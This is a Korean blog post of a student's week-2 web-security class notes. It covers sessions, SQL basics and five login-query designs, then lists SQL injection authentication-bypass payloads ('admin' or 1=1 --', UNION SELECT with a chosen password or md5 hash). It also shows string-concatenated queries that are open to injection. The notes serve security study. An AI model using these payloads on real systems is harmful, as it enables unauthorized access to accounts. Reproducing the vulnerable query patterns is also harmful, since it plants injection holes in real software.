Today I Learned …
[수업] 2주차 정리 본문
* 해당 주차의 수업 내용을 정리합니다.
0. 들어가기 전
[1] OWASP TOP 10
⇒ 웹 어플리케이션 취약점 TOP 10. 현업에서도 많이 참고한다.
[2] 쿠키/세션
① 쿠키 : 클라이언트 측에 저장되는 정보
② 세션 : 서버 측에 저장되는 정보
③ 세션 ID : 쿠키에 저장되는 세션 식별 정보
⇒ session_start() : 세션 아이디 발급
⇒ $_SESSION['id'] = 'choco' : 세션 아이디의 데이터 안에 id=choco 라는 일종의 변수 정보가 저장되는 것
④ $ php -i | grep session.save_path
⇒ 세션 파일 위치 확인 가능
⇒ 들어가서 파일 별로 cat 해보면 id|s:5: choco 라고 들어가있는 식
⇒ 직접 해보기 : 오 진짜 된다... 신기ㄷ
1. SQL
DB와 대화하기 위한 명령어 (조회, 수정, 삭제...)
[1] Database (관계형 DB)
⇒ 엑셀
① 엑셀 파일 = Database
② 엑셀 시트 = Table
③ 열 = Column
④ 행 = Row
[2] SELECT [컬럼명] FROM [테이블명]
[3] WHERE : 조건절
2. 로그인 인증
[1] 식별 : 많은 데이터 중 특정 데이터를 구분하는 작업
⇒ 식별 정보 : ID, 이름, 사번 등
⇒ 보호할 필요 X
[2] 인증 : 그 사람이 맞는지 확인하는 작업
⇒ 인증 정보 : PW, OTP 등
⇒ 보호해야하는 정보!
[예외] 주민등록번호 : 고유식별정보
⇒ 때에 따라선 인증 정보로 쓰이기도 함
3. 로그인 인증 5가지 유형
[1] 식별/인증 동시
⇒ SQL 실행 한 번으로 식별/인증 동시 처리
sql = "SELECT * FROM member WHERE id=' ' and pass=' '"
[2] 식별/인증 분리
⇒ 따로
sql = "SELECT pass FROM member WHERE id='choco'"
res = sql.execute
if (pass == res.pass)
// 로그인 성공
else:
// 로그인 실패
[3] 식별/인증 동시 with hash
sql = "SELECT * FROM member WHERE id = ' ' and pass = md5(' ')"
[4] 식별/인증 분리 with hash
sql = "SELECT pass FROM member WHERE id='choco'"
res = sql.execute
if (md5(pass) == res.pass)
// 로그인 성공
else:
// 로그인 실패
[5] 식별/인증 분리 with 개행
⇒ 이 경우 주석 안통함
Normaltic : 실무에서는 웬만하면 주석 안쓰는게 좋음 (잘 안통하고 DB 꼬일 수도 있음)
sql = "SELECT * FROM member WHERE id = ' ' and \n pass = ' '"
4. SQL Injection
[1] 왜 발생?
⇒ 전달받은 파라미터를 SQL 질의문에 그대로 사용하고 있기 때문에
[2] 어디에서 발생?
⇒ DB에서 데이터를 처리하는 모든 기능 (로그인, 회원가입, 게시글 검색 등)
[3] 공격 시나리오
① 인증 우회
② 데이터 탈취
③ 데이터 변조
④ 서버 장악 (쉘 장악) : DB에 임의의 명령을 실행할 수 있다.
5. SQL Injection 인증 우회
[0] TIP
⇒ 서버 측 로직이 어떻게 이루어져 있을 지 예상을 해봐야함.
⇒ 케이스별 쿼리 상황을 머릿속에 그리는 연습. 처음엔 메모장에 써보기. (복붙으로 문법 확인)
⇒ 무지성 대입 X
[1] 식별/인증 동시
① admin' --
② admin' or 1=1 --
③ admin' or '1' = '1
⇒ SELECT * FROM member WHERE id = 'admin' or ('1' = '1' and pass = ' ')
⇒ 논리연산자 우선순위에 의해 and가 먼저 실행되기 때문에 아래와 같다.
⇒ id = 'admin' or False
⇒ id = 'admin'
[2] 식별/인증 분리
UNION : SELECT를 두 번!
(SELECT ~~~) UNION (SELECT ~~~)
ID : ' UNION SELECT '1234', 'normaltic
PW : 1234
ID에 넣은 쿼리문을 통해
PASS | NAME
1234 | normaltic
를 만들어놓고 PW에 1234를 넣으면 해당 값이 PASS 컬럼에 존재하기 때문에 고대로 로그인 됨;
⇒ 테이블 구조는 order by 트릭을 통해 파악할 수 있음
[3] 식별/인증 동시 with hash
[1]과 다르지 않음
[4] 식별/인증 분리 with hash
ID : ' UNION SELECT md5('1234'), 'normaltic
PW : 1234
[5] 식별/인증 분리 with 개행
주석 안 통함
ID : normaltic' and '1' = '1
2주차 과제
1. 로그인 페이지 케이스별 개발
2. 보고서 (SQL Injection 인증 우회) : 카톡 채널로 제출
'Study > 수업' 카테고리의 다른 글
[수업] 5주차 정리 (0) | 2021.11.18 |
---|---|
[수업] 4주차 정리 (0) | 2021.11.04 |
[수업] 3주차 정리 (0) | 2021.10.29 |
[수업] 1주차 정리 (0) | 2021.10.16 |
[수업] OT 정리 (0) | 2021.10.16 |